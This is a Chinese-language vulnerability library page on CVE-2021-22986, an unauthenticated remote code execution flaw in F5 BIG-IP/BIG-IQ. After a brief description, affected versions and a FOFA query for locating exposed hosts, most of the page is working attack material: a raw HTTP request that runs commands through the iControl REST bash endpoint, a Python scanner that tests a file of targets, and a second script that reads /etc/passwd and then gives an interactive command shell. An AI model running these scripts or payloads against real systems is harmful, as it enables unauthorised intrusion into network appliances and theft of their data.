CVE-2021-22986:BIG-IP/BIG-IQ未授权-漏洞文库小世界-安全文库-NGC660 安全实验室

CVE-2021-22986:BIG-IP/BIG-IQ未授权

###CVE-2021-22986:BIG-IP/BIG-IQ未授权RCE-熬夜冠军

 

漏洞基本信息

漏洞描述:

F5BIG-IP是美国F5公司的一款集成了网络流量管理、应用程序安全管理、负载均衡等功能的应用交付平台。

F5 BIG-IP/BIG-IQ iControl REST 未授权远程代码执行漏洞中,未经身份验证的攻击者可通过iControl REST接口,构造恶意请求,执行任意系统命令。

漏洞编号:CVE-2021-22986

影响版本:

F5 BIG-IP 16.0.0-16.0.1

F5 BIG-IP 15.1.0-15.1.2

F5 BIG-IP 14.1.0-14.1.3.1

F5 BIG-IP 13.1.0-13.1.3.5

F5 BIG-IP 12.1.0-12.1.5.2

F5 BIG-IQ 7.1.0-7.1.0.2

F5 BIG-IQ 7.0.0-7.0.0.1

F5 BIG-IQ 6.0.0-6.1.0

FOFA:title=“BIG-IP”

漏洞复现

登录页面
1625538615538-25149d9e-1dbb-478b-9e66-8dbbbf83dead 

POST /mgmt/tm/util/bash HTTP/1.1
Host: xxx.xxx.xxx.xxx:8443
Connection: close
Content-Length: 41
Cache-Control: max-age=0
Authorization: Basic YWRtaW46QVNhc1M=
X-F5-Auth-Token: 
Upgrade-Insecure-Requests: 1
Content-Type: application/json

{"command":"run","utilCmdArgs":"-c id"}

1625538615724-b3e02688-7a8f-4e7e-adb5-171236a2b05a 

漏洞poc:

import requests
import sys
import random
import re
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
    print('+------------------------------------------')
    print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
    print('+  \033[34mGithub : https://github.com/PeiQi0                                 \033[0m')
    print('+  \033[34m公众号  : PeiQi文库                                                   \033[0m')
    print('+  \033[34mVersion: F5 BIG-IP                                                  \033[0m')
    print('+  \033[36m使用格式:  python3 poc.py                                            \033[0m')
    print('+  \033[36mFile         >>> ip.txt                             \033[0m')
    print('+------------------------------------------')

def POC_1(target_url):
    vuln_url = target_url + "/mgmt/tm/util/bash"
    headers = {
        "Authorization": "Basic YWRtaW46QVNhc1M=",
        "X-F5-Auth-Token": "",
        "Content-Type": "application/json"
    }
    data = '{"command":"run","utilCmdArgs":"-c id"}'
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=2)
        if "commandResult" in response.text and response.status_code == 200:
            print("\033[32m[o] 目标 {}存在漏洞,响应为:{} \033[0m".format(target_url, json.loads(response.text)["commandResult"]))
        else:
            print("\033[31m[x] 目标 {}不存在漏洞 \033[0m".format(target_url))
    except Exception as e:
        print("\033[31m[x] 目标 {} 请求失败 \033[0m".format(target_url))

def Scan(file_name):
    with open(file_name, "r", encoding='utf8') as scan_url:
        for url in scan_url:
            if url[:4] != "http":
                url = "https://" + url
            url = url.strip('\n')
            try:
                POC_1(url)

            except Exception as e:
                print("\033[31m[x] 请求报错 \033[0m".format(e))
                continue

if __name__ == '__main__':
    title()
    file_name  = str(input("\033[35mPlease input Attack File\nFile >>> \033[0m"))
    Scan(file_name)

1625538615673-709fed3d-bb05-40aa-adeb-8f90d8e0f227 

命令执行poc

import requests
import sys
import random
import re
import base64
import time
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
    print('+------------------------------------------')
    print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
    print('+  \033[34mGithub : https://github.com/PeiQi0                                 \033[0m')
    print('+  \033[34m公众号  : PeiQi文库                                                   \033[0m')
    print('+  \033[34mVersion: F5 BIG-IP                                                \033[0m')
    print('+  \033[36m使用格式:  python3 poc.py                                            \033[0m')
    print('+  \033[36mUrl         >>> http://xxx.xxx.xxx.xxx                             \033[0m')
    print('+------------------------------------------')

def POC_1(target_url):
    vuln_url = target_url + "/mgmt/tm/util/bash"
    headers = {
        "Authorization": "Basic YWRtaW46QVNhc1M=",
        "X-F5-Auth-Token": "",
        "Content-Type": "application/json"
    }
    data = '''{"command":"run","utilCmdArgs":"-c 'cat /etc/passwd'"}'''
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5)
        if 'root' in response.text and response.status_code == 200:
            print("\033[32m[o] 目标 {}存在漏洞,响应为:{} \033[0m".format(target_url, json.loads(response.text)["commandResult"]))
            while True:
                Cmd = str(input("\033[35mCmd >>> \033[0m"))
                POC_2(target_url, Cmd)
        else:
            print("\033[31m[x] 目标 {}不存在漏洞 \033[0m".format(target_url))
    except Exception as e:
        print("\033[31m[x] 目标 {} 请求失败 \033[0m".format(target_url), e)

def POC_2(target_url, Cmd):
    vuln_url = target_url + "/mgmt/tm/util/bash"
    headers = {
        "Authorization": "Basic YWRtaW46QVNhc1M=",
        "X-F5-Auth-Token": "",
        "Content-Type": "application/json"
    }
    Cmd = "'" + Cmd + "'"
    data = '{"command":"run","utilCmdArgs":"-c %s"}' % Cmd
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5)
        print("\033[32m{} \033[0m".format(json.loads(response.text)["commandResult"]))
    except Exception as e:
        print("\033[31m[x] 命令执行失败 \033[0m".format(target_url), e)


if __name__ == '__main__':
    title()
    target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
    POC_1(target_url)

1625538615873-eef16761-9ec6-4a00-9c46-be8e80d50cb4

请登录后发表评论

    请登录后查看回复内容